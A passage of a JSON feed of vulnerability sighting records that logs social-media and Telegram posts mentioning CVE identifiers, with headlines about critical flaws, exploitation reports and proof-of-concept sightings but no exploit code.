\u82f1\u4f1f\u8fbe\u53f2\u4e0a\u6700\u5927\u6536\u8d2d\uff1bHF \u5e74\u5316\u6536\u5165\u7ea6 1.5 \u4ebf\u7f8e\u5143\uff08\u224886\u00d7 P/S\uff09 |\n| Anthropic IPO \u524d\u4fe1\u8d37\u989d\u5ea6 | 150 \u4ebf\u7f8e\u5143 | 2025 \u5e74 2.5 \u4ebf\u7f8e\u5143\u989d\u5ea6\u7684 6 \u500d\uff1b\u5e74\u5316\u6536\u5165\u8fd0\u884c\u7387\u8fd1 650 \u4ebf\u7f8e\u5143 |\n| \u5b57\u8282\u8df3\u52a8\u94f6\u56e2\u8d37\u6b3e | 296 \u4ebf\u7f8e\u5143\uff08SOFR+68bp\uff09 | 2026 \u4e9a\u6d32\u7b2c\u4e8c\u5927\u7f8e\u5143\u8d37\u6b3e\uff1b\u8d85\u989d\u8ba4\u8d2d\u8fd1 50% |\n| 2026 \u4e0a\u534a\u5e74\u5168\u7403\u98ce\u6295 | 5100 \u4ebf\u7f8e\u5143 | \u8d85 2025 \u5168\u5e74\uff084400 \u4ebf\uff09\uff1bOpenAI+Anthropic \u5360 43% |\n| \u4e09\u5bb6 AI \u5de8\u5934\u96c6\u4f53\u5b95\u673a | ~3 \u5c0f\u65f6 40 \u5206\u949f\uff089\u67083\u65e5\uff09 | OpenAI \u6545\u969c\u62a5\u544a\u5cf0\u503c 1.2 \u4e07\u20143.7 \u4e07+\u4efd\uff08Downdetector \u53e3\u5f84\u4e0d\u4e00\uff09 |\n\n---\n\n*\u672c\u7b80\u62a5\u7531 Hermes Agent \u81ea\u52a8\u751f\u6210*\n*\u6570\u636e\u6765\u6e90\uff1aOpenAI\u3001Google Blog\u3001Anthropic\u3001NVIDIA\u3001Bloomberg\u3001Reuters\u3001TechCrunch\u3001WSJ\u3001Fortune\u3001The New Stack\u3001\u8d22\u8054\u793e\u300136\u6c2a\u3001\u673a\u5668\u4e4b\u5fc3\u3001\u65b0\u667a\u5143\u3001IT\u4e4b\u5bb6\u3001\u949b\u5a92\u4f53\u3001\u864e\u55c5\u3001\u89c2\u70b9\u7f51\u3001\u79d1\u521b\u677f\u65e5\u62a5\u3001\u4e2d\u56fd\u7f51\u4fe1\u7f51\u3001\u6b27\u76df\u59d4\u5458\u4f1a \u7b49*\n*\u4ec5\u4f9b\u53c2\u8003\uff0c\u4e0d\u6784\u6210\u6295\u8d44\u5efa\u8bae*\n", "vulnerability": "CVE-2026-15903", "author": {"login": "automation"}}, {"uuid": "9efebe8b-0ec7-4c7e-bc2f-7471025828bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:09:26.666520+00:00", "type": "seen", "source": "https://bsky.app/profile/papoo7.bsky.social/post/3muspcbzama2j", "content": "NVD \u3067 CVE-2026-85046 \u304c\u793a\u3055\u308c\u305f\u304c\u3001\u672c\u6587\u306f\u307e\u3060\u7a7a\u767d\u306e\u307e\u307e\n\nNVD\u306eCVE\u500b\u5225\u30da\u30fc\u30b8\u304c\u516c\u958b\u3055\u308c\u3066\u3044\u308b\u306e\u306b\u3001\u672c\u6587\u3068\u3057\u3066\u8aad\u3081\u308b\u60c5\u5831\u306f\u307b\u3068\u3093\u3069\u3042\u308a\u307e\u305b\u3093\u3002\u30bf\u30a4\u30c8\u30eb\u306f\u3042\u308b\u306e\u306b\u8aac\u660e\u6587\u304c\u306a\u3044\u3001\u3053\u306e\u300c\u7a7a\u767d\u300d\u3053\u305d\u304c\u4eca\u56de\u306e\u6750\u6599\u3067\u3059\u3002\u8106\u5f31\u2026\n\n#HackerNews #AI #\u30c6\u30c3\u30af", "vulnerability": "CVE-2026-85046", "author": {"login": "automation"}}, {"uuid": "ca94ea7c-7178-4eea-886b-470f623b3671", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:07:30.482686+00:00", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3musp6ta4jo2n", "content": "\ud83d\udea8 CVE-2026-86149 \u2014 CVSS 9.4 CRITICAL\n\nA weakness has been identified in Tenda CP3 27.5.57.101. This issue affects some unknown processing of the ...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-86149\n\n#CVE #CyberSecurity #InfoSec", "vulnerability": "CVE-2026-86149", "author": {"login": "automation"}}, {"uuid": "8a5fd0db-7f23-40d4-a9bc-bea3c3364160", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:07:13.858044+00:00", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3musp6dc33e2r", "content": "\ud83d\udea8 CVE-2026-86148 \u2014 CVSS 9.4 CRITICAL\n\nA security flaw has been discovered in Tenda CP3 27.5.57.101. This vulnerability affects the function Syste...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-86148\n\n#CVE #CyberSecurity #InfoSec", "vulnerability": "CVE-2026-86148", "author": {"login": "automation"}}, {"uuid": "28e06fae-e860-43ed-b10e-8dc16409a800", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:05:05.755827+00:00", "type": "seen", "source": "https://bsky.app/profile/nixpkgs-prs-bot.bsky.social/post/3musp2gwanx2o", "content": "#560326 python3Packages.modelscope: mark CVE-2026-84202\n#560325 sgt-puzzles: 20260720.3c36322 -> 20260905.43eefe8\n#560321 httrack: 3.49.24 -> 3.50.1\n#560318 lagrange: 1.21.0 -> 1.21.1\n#560317 uiua: 0.18.1 -> 0.19.1; uiua-unstable: 0.19.0-rc.1 -> 0.19.1\n#560313 maintainers: remove dwrege\n", "vulnerability": "CVE-2026-84202", "author": {"login": "automation"}}, {"uuid": "957486c6-f2fb-414e-9658-06df030d1610", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:02:33.997877+00:00", "type": "seen", "source": "https://bsky.app/profile/arc-codex.com/post/3musovxucsz2t", "content": "CVE-2026-20212: Critical Cisco Nexus 9000 Flaw Enables Unauthenticated Root RCE\n\n", "vulnerability": "CVE-2026-20212", "author": {"login": "automation"}}, {"uuid": "2739a3bf-b301-44e1-8609-79f130e67ee2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:04.841046+00:00", "type": "exploited", "source": "https://t.me/information_security_channel/55854", "content": "Sangoma Switchvox Vulnerabilities Exploited in the Wild\nhttps://www.securityweek.com/sangoma-switchvox-vulnerabilities-exploited-in-the-wild/\n\nTracked as CVE-2026-9586, the unauthenticated SQL injection flaw can be exploited remotely for arbitrary code execution.\nThe post Sangoma Switchvox Vulnerabilities Exploited in the Wild (https://www.securityweek.com/sangoma-switchvox-vulnerabilities-exploited-in-the-wild/) appeared first on SecurityWeek (https://www.securityweek.com/).", "vulnerability": "CVE-2026-9586", "author": {"login": "automation"}}, {"uuid": "da685a09-ccff-4c48-bfcd-50e8cc63b4bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:04.796165+00:00", "type": "seen", "source": "https://t.me/information_security_channel/55856", "content": "HPE Patches Critical RCE Vulnerabilities in AOS-CX\nhttps://www.securityweek.com/hpe-patches-critical-rce-vulnerabilities-in-aos-cx/\n\nNearly two dozen issues, tracked collectively as CVE-2026-73749 (CVSS score of 9.8), were addressed with the updates.\nThe post HPE Patches Critical RCE Vulnerabilities in AOS-CX (https://www.securityweek.com/hpe-patches-critical-rce-vulnerabilities-in-aos-cx/) appeared first on SecurityWeek (https://www.securityweek.com/).", "vulnerability": "CVE-2026-73749", "author": {"login": "automation"}}, {"uuid": "1d36a85c-3c46-481f-aeb3-0260e1e2c39b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:04.751371+00:00", "type": "published-proof-of-concept", "source": "Telegram/qPB9INxRUn7hqm5tMwZnjzgWjUliqqBv5hnORCgMkrQSFLQ", "content": "", "vulnerability": "CVE-2023-43360", "author": {"login": "automation"}}, {"uuid": "f016d2f4-9539-4e5a-a2f0-5a39add9eb4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:04.717658+00:00", "type": "published-proof-of-concept", "source": "Telegram/qPB9INxRUn7hqm5tMwZnjzgWjUliqqBv5hnORCgMkrQSFLQ", "content": "", "vulnerability": "CVE-2025-14847", "author": {"login": "automation"}}, {"uuid": "7b6629c3-1db5-4703-ad05-24b574ac1c4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:04.672670+00:00", "type": "published-proof-of-concept", "source": "Telegram/qPB9INxRUn7hqm5tMwZnjzgWjUliqqBv5hnORCgMkrQSFLQ", "content": "", "vulnerability": "CVE-2023-6875", "author": {"login": "automation"}}, {"uuid": "ab275b51-c3d0-486e-b593-fd7d956ae0ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:04.638563+00:00", "type": "published-proof-of-concept", "source": "Telegram/qPB9INxRUn7hqm5tMwZnjzgWjUliqqBv5hnORCgMkrQSFLQ", "content": "", "vulnerability": "CVE-2022-29464", "author": {"login": "automation"}}, {"uuid": "3fcc5453-389f-407a-8cb6-83207c955600", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:04.598380+00:00", "type": "published-proof-of-concept", "source": "Telegram/qPB9INxRUn7hqm5tMwZnjzgWjUliqqBv5hnORCgMkrQSFLQ", "content": "", "vulnerability": "CVE-2018-9075", "author": {"login": "automation"}}, {"uuid": "7b7743e1-8bc9-49ae-882d-b739677ff030", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:04.555128+00:00", "type": "published-proof-of-concept", "source": "Telegram/qPB9INxRUn7hqm5tMwZnjzgWjUliqqBv5hnORCgMkrQSFLQ", "content": "", "vulnerability": "CVE-2022-42889", "author": {"login": "automation"}}, {"uuid": "82fdd9f3-0bc4-48ee-920c-3d734ffc55b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:04.515416+00:00", "type": "published-proof-of-concept", "source": "Telegram/qPB9INxRUn7hqm5tMwZnjzgWjUliqqBv5hnORCgMkrQSFLQ", "content": "", "vulnerability": "CVE-2018-6396", "author": {"login": "automation"}}, {"uuid": "86153ff2-0c33-4b9b-94d7-6f8567d188ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:04.469876+00:00", "type": "published-proof-of-concept", "source": "Telegram/qPB9INxRUn7hqm5tMwZnjzgWjUliqqBv5hnORCgMkrQSFLQ", "content": "", "vulnerability": "CVE-2024-48307", "author": {"login": "automation"}}, {"uuid": "0b14bed4-87c9-4a01-89ef-5699a2f0addf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:04.423600+00:00", "type": "published-proof-of-concept", "source": "Telegram/qPB9INxRUn7hqm5tMwZnjzgWjUliqqBv5hnORCgMkrQSFLQ", "content": "", "vulnerability": "CVE-2020-1472", "author": {"login": "automation"}}, {"uuid": "9c572ca9-52c1-493c-83a4-cde005c5f64d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:04.378371+00:00", "type": "published-proof-of-concept", "source": "Telegram/qPB9INxRUn7hqm5tMwZnjzgWjUliqqBv5hnORCgMkrQSFLQ", "content": "", "vulnerability": "CVE-2018-18387", "author": {"login": "automation"}}, {"uuid": "09ca8587-d208-4623-8a06-5410151a6ed3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:04.334674+00:00", "type": "published-proof-of-concept", "source": "Telegram/qPB9INxRUn7hqm5tMwZnjzgWjUliqqBv5hnORCgMkrQSFLQ", "content": "", "vulnerability": "CVE-2026-60206", "author": {"login": "automation"}}, {"uuid": "d488f3c1-6f0e-47d1-ba13-9f9bfcf13279", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:04.293615+00:00", "type": "published-proof-of-concept", "source": "Telegram/qPB9INxRUn7hqm5tMwZnjzgWjUliqqBv5hnORCgMkrQSFLQ", "content": "", "vulnerability": "CVE-2015-8660", "author": {"login": "automation"}}, {"uuid": "0540d43c-01d0-43cb-8112-561b7cb47e61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:04.250486+00:00", "type": "published-proof-of-concept", "source": "Telegram/qPB9INxRUn7hqm5tMwZnjzgWjUliqqBv5hnORCgMkrQSFLQ", "content": "", "vulnerability": "CVE-2022-44268", "author": {"login": "automation"}}, {"uuid": "d311788c-1397-4323-9d57-1411abf3e897", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:04.205820+00:00", "type": "published-proof-of-concept", "source": "Telegram/qPB9INxRUn7hqm5tMwZnjzgWjUliqqBv5hnORCgMkrQSFLQ", "content": "", "vulnerability": "CVE-2022-2078", "author": {"login": "automation"}}, {"uuid": "fae70dd6-18c9-4d4b-b1c8-5fd51569b725", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:04.162599+00:00", "type": "published-proof-of-concept", "source": "Telegram/qPB9INxRUn7hqm5tMwZnjzgWjUliqqBv5hnORCgMkrQSFLQ", "content": "", "vulnerability": "CVE-2022-0739", "author": {"login": "automation"}}, {"uuid": "547d409e-f9d4-4386-9431-9cbd3b57e725", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:04.119349+00:00", "type": "published-proof-of-concept", "source": "Telegram/OfhVuefsoKRdr0Dsr__JpyZdyxpoDA5ij7MfO8O_RItQOyo", "content": "", "vulnerability": "CVE-2022-0739", "author": {"login": "automation"}}, {"uuid": "47ccf381-3373-4b16-9672-5b204c8ee74a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:04.079716+00:00", "type": "published-proof-of-concept", "source": "Telegram/OfhVuefsoKRdr0Dsr__JpyZdyxpoDA5ij7MfO8O_RItQOyo", "content": "", "vulnerability": "CVE-2025-5777", "author": {"login": "automation"}}, {"uuid": "919c6d0d-91bb-4ec8-9032-9557ce8a4393", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:04.037548+00:00", "type": "published-proof-of-concept", "source": "Telegram/OfhVuefsoKRdr0Dsr__JpyZdyxpoDA5ij7MfO8O_RItQOyo", "content": "", "vulnerability": "CVE-2009-3036", "author": {"login": "automation"}}, {"uuid": "3fbaa7ca-32a7-4fea-accd-3ad62bb0adf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:03.991480+00:00", "type": "published-proof-of-concept", "source": "Telegram/OfhVuefsoKRdr0Dsr__JpyZdyxpoDA5ij7MfO8O_RItQOyo", "content": "", "vulnerability": "CVE-2021-40346", "author": {"login": "automation"}}, {"uuid": "416166a9-403e-4307-8dd5-4fd17120730a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:03.943547+00:00", "type": "published-proof-of-concept", "source": "Telegram/OfhVuefsoKRdr0Dsr__JpyZdyxpoDA5ij7MfO8O_RItQOyo", "content": "", "vulnerability": "CVE-2021-3560", "author": {"login": "automation"}}, {"uuid": "8ed82235-0e77-4a02-b376-afb7f615b372", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:03.900034+00:00", "type": "seen", "source": "Telegram/saF7t803_3F3Ra_Gsh2itlwbpKCr-JJsYdlNdWBMzEsIfS4", "content": "", "vulnerability": "CVE-2026-85046", "author": {"login": "automation"}}, {"uuid": "10076d1c-70eb-4d41-9729-17d56c640db4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:03.853399+00:00", "type": "seen", "source": "Telegram/saF7t803_3F3Ra_Gsh2itlwbpKCr-JJsYdlNdWBMzEsIfS4", "content": "", "vulnerability": "CVE-2026-25524", "author": {"login": "automation"}}, {"uuid": "15c6496f-1df2-4ce1-9837-6364ea7cb66a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:03.805323+00:00", "type": "seen", "source": "Telegram/saF7t803_3F3Ra_Gsh2itlwbpKCr-JJsYdlNdWBMzEsIfS4", "content": "", "vulnerability": "CVE-2026-63077", "author": {"login": "automation"}}, {"uuid": "a1d4906a-2b83-45e9-a0c0-42063632a0ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:03.760632+00:00", "type": "seen", "source": "Telegram/saF7t803_3F3Ra_Gsh2itlwbpKCr-JJsYdlNdWBMzEsIfS4", "content": "", "vulnerability": "CVE-2026-73554", "author": {"login": "automation"}}, {"uuid": "1c2c18e8-62ea-434d-ab27-f4e26cfd5828", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:03.718800+00:00", "type": "seen", "source": "Telegram/saF7t803_3F3Ra_Gsh2itlwbpKCr-JJsYdlNdWBMzEsIfS4", "content": "", "vulnerability": "CVE-2024-57552", "author": {"login": "automation"}}, {"uuid": "a8943294-18d6-43c8-b90b-df53447c5916", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:03.670209+00:00", "type": "seen", "source": "Telegram/saF7t803_3F3Ra_Gsh2itlwbpKCr-JJsYdlNdWBMzEsIfS4", "content": "", "vulnerability": "CVE-2025-61584", "author": {"login": "automation"}}, {"uuid": "6ac795a3-a6c3-47f2-8066-ccb27f84ac68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:03.621347+00:00", "type": "seen", "source": "Telegram/saF7t803_3F3Ra_Gsh2itlwbpKCr-JJsYdlNdWBMzEsIfS4", "content": "", "vulnerability": "CVE-2026-6471", "author": {"login": "automation"}}, {"uuid": "bf2926aa-41a3-4f69-868a-e08c23ede9ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:03.572885+00:00", "type": "seen", "source": "Telegram/saF7t803_3F3Ra_Gsh2itlwbpKCr-JJsYdlNdWBMzEsIfS4", "content": "", "vulnerability": "CVE-2026-19516", "author": {"login": "automation"}}, {"uuid": "55de1185-0c9f-444d-a7b2-987db2b2d8c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:03.533396+00:00", "type": "seen", "source": "Telegram/saF7t803_3F3Ra_Gsh2itlwbpKCr-JJsYdlNdWBMzEsIfS4", "content": "", "vulnerability": "CVE-2025-67727", "author": {"login": "automation"}}, {"uuid": "47f27962-34ce-4b13-83fe-18d57ac90f50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:03.481875+00:00", "type": "seen", "source": "Telegram/saF7t803_3F3Ra_Gsh2itlwbpKCr-JJsYdlNdWBMzEsIfS4", "content": "", "vulnerability": "CVE-2024-57551", "author": {"login": "automation"}}, {"uuid": "bbbcf661-26e4-48ff-829a-2bb726a3c2fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:03.429790+00:00", "type": "seen", "source": "Telegram/saF7t803_3F3Ra_Gsh2itlwbpKCr-JJsYdlNdWBMzEsIfS4", "content": "", "vulnerability": "CVE-2025-58371", "author": {"login": "automation"}}, {"uuid": "c754e0cf-b9f7-4f4f-92b1-66bce46ffe74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:03.380542+00:00", "type": "seen", "source": "Telegram/saF7t803_3F3Ra_Gsh2itlwbpKCr-JJsYdlNdWBMzEsIfS4", "content": "", "vulnerability": "CVE-2024-57553", "author": {"login": "automation"}}, {"uuid": "94593acb-90bd-4fc8-9a76-e6d59a73115a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:03.333062+00:00", "type": "published-proof-of-concept", "source": "Telegram/alHvvUHQCUylk35MGsdpMYRa6PMrggYEgIO1T_H-uyhMM7U", "content": "", "vulnerability": "CVE-2019-5736", "author": {"login": "automation"}}, {"uuid": "dac1029c-1c7e-425f-aae3-cbadac0ca775", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:03.296408+00:00", "type": "published-proof-of-concept", "source": "Telegram/alHvvUHQCUylk35MGsdpMYRa6PMrggYEgIO1T_H-uyhMM7U", "content": "", "vulnerability": "CVE-2020-16846", "author": {"login": "automation"}}, {"uuid": "c259075e-57db-4969-8ceb-4e16a40b92e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:03.261636+00:00", "type": "published-proof-of-concept", "source": "Telegram/alHvvUHQCUylk35MGsdpMYRa6PMrggYEgIO1T_H-uyhMM7U", "content": "", "vulnerability": "CVE-2024-4577", "author": {"login": "automation"}}, {"uuid": "43d9d96e-50d0-4478-8433-5b7f1f238bc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:03.212067+00:00", "type": "published-proof-of-concept", "source": "Telegram/alHvvUHQCUylk35MGsdpMYRa6PMrggYEgIO1T_H-uyhMM7U", "content": "", "vulnerability": "CVE-2020-17519", "author": {"login": "automation"}}, {"uuid": "df0f46c0-8265-4552-a50d-7f68884b0619", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:03.166328+00:00", "type": "published-proof-of-concept", "source": "Telegram/alHvvUHQCUylk35MGsdpMYRa6PMrggYEgIO1T_H-uyhMM7U", "content": "", "vulnerability": "CVE-2023-28324", "author": {"login": "automation"}}, {"uuid": "aeaf51ec-2d7a-4d6c-8a64-360b5fc65347", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:03.120466+00:00", "type": "published-proof-of-concept", "source": "Telegram/alHvvUHQCUylk35MGsdpMYRa6PMrggYEgIO1T_H-uyhMM7U", "content": "", "vulnerability": "CVE-2023-26982", "author": {"login": "automation"}}, {"uuid": "0508a0d4-7408-4b8a-8ea4-77317f2817b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:03.071517+00:00", "type": "published-proof-of-concept", "source": "Telegram/MInuNUaZtHgQIkWaDn-XSBNMalOeSi9Asn4ilk4cWhnEcXw", "content": "", "vulnerability": "CVE-2024-32002", "author": {"login": "automation"}}, {"uuid": "755bde88-3a5b-43e1-8efd-65de7604db0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:03.032583+00:00", "type": "published-proof-of-concept", "source": "Telegram/MInuNUaZtHgQIkWaDn-XSBNMalOeSi9Asn4ilk4cWhnEcXw", "content": "", "vulnerability": "CVE-2019-3396", "author": {"login": "automation"}}, {"uuid": "69030a0e-5ce6-43d0-9d4f-f083ccf8b258", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:02.984688+00:00", "type": "published-proof-of-concept", "source": "Telegram/MInuNUaZtHgQIkWaDn-XSBNMalOeSi9Asn4ilk4cWhnEcXw", "content": "", "vulnerability": "CVE-2022-22947", "author": {"login": "automation"}}, {"uuid": "17ef0a2c-ea14-4c8f-8185-226510894268", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:02.936880+00:00", "type": "published-proof-of-concept", "source": "Telegram/MInuNUaZtHgQIkWaDn-XSBNMalOeSi9Asn4ilk4cWhnEcXw", "content": "", "vulnerability": "CVE-2021-45232", "author": {"login": "automation"}}, {"uuid": "fa2913d5-bb26-46ab-b80a-5e4f4c1ff676", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:02.887739+00:00", "type": "published-proof-of-concept", "source": "Telegram/MInuNUaZtHgQIkWaDn-XSBNMalOeSi9Asn4ilk4cWhnEcXw", "content": "", "vulnerability": "CVE-2022-30190", "author": {"login": "automation"}}, {"uuid": "091ea02f-18eb-4885-8e85-6a039b6bcf6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:02.843947+00:00", "type": "published-proof-of-concept", "source": "Telegram/MInuNUaZtHgQIkWaDn-XSBNMalOeSi9Asn4ilk4cWhnEcXw", "content": "", "vulnerability": "CVE-2023-36899", "author": {"login": "automation"}}, {"uuid": "f84e2845-ebb5-4a92-9105-c889858528bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:02.799872+00:00", "type": "published-proof-of-concept", "source": "Telegram/MInuNUaZtHgQIkWaDn-XSBNMalOeSi9Asn4ilk4cWhnEcXw", "content": "", "vulnerability": "CVE-2026-11613", "author": {"login": "automation"}}, {"uuid": "803f2d1e-fa9b-4bb1-bc54-71fc02a871fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:02.755045+00:00", "type": "published-proof-of-concept", "source": "Telegram/MInuNUaZtHgQIkWaDn-XSBNMalOeSi9Asn4ilk4cWhnEcXw", "content": "", "vulnerability": "CVE-2022-21449", "author": {"login": "automation"}}, {"uuid": "1787064f-f262-4e9e-a794-6f5ddd6bf1ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:02.709939+00:00", "type": "published-proof-of-concept", "source": "Telegram/MInuNUaZtHgQIkWaDn-XSBNMalOeSi9Asn4ilk4cWhnEcXw", "content": "", "vulnerability": "CVE-2025-46721", "author": {"login": "automation"}}, {"uuid": "adea1fbc-85b1-4ea5-aa46-9a025464a89a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:02.665351+00:00", "type": "published-proof-of-concept", "source": "Telegram/MInuNUaZtHgQIkWaDn-XSBNMalOeSi9Asn4ilk4cWhnEcXw", "content": "", "vulnerability": "CVE-2023-22493", "author": {"login": "automation"}}, {"uuid": "3ce0230d-b8a1-4264-b29e-77470ed7f67d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:02.625527+00:00", "type": "published-proof-of-concept", "source": "Telegram/MInuNUaZtHgQIkWaDn-XSBNMalOeSi9Asn4ilk4cWhnEcXw", "content": "", "vulnerability": "CVE-2022-0847", "author": {"login": "automation"}}, {"uuid": "ca1073c4-69d0-406f-8833-6665f1161272", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:02.585585+00:00", "type": "published-proof-of-concept", "source": "Telegram/MInuNUaZtHgQIkWaDn-XSBNMalOeSi9Asn4ilk4cWhnEcXw", "content": "", "vulnerability": "CVE-2024-6387", "author": {"login": "automation"}}, {"uuid": "721d2a3b-24bb-4d89-8309-2a15a9e14a38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:02.535894+00:00", "type": "published-proof-of-concept", "source": "Telegram/MInuNUaZtHgQIkWaDn-XSBNMalOeSi9Asn4ilk4cWhnEcXw", "content": "", "vulnerability": "CVE-2025-20281", "author": {"login": "automation"}}, {"uuid": "e7ea2155-5977-48e3-b38b-3b39fb9608c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:01.697605+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/81265", "content": "Black Hat Ethical Hacking\nMicrosoft finds macOS bug that lets malware bypass security checks\n\nMicrosoft finds macOS bug that lets malware bypass security checksPost Views: 17 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Apple has fixed a vulnerability attackers could leverage to deploy malware on vulnerable macOS devices via untrusted applications capable of bypassing Gatekeeper application execution restrictions.Found and reported by Microsoft principal security 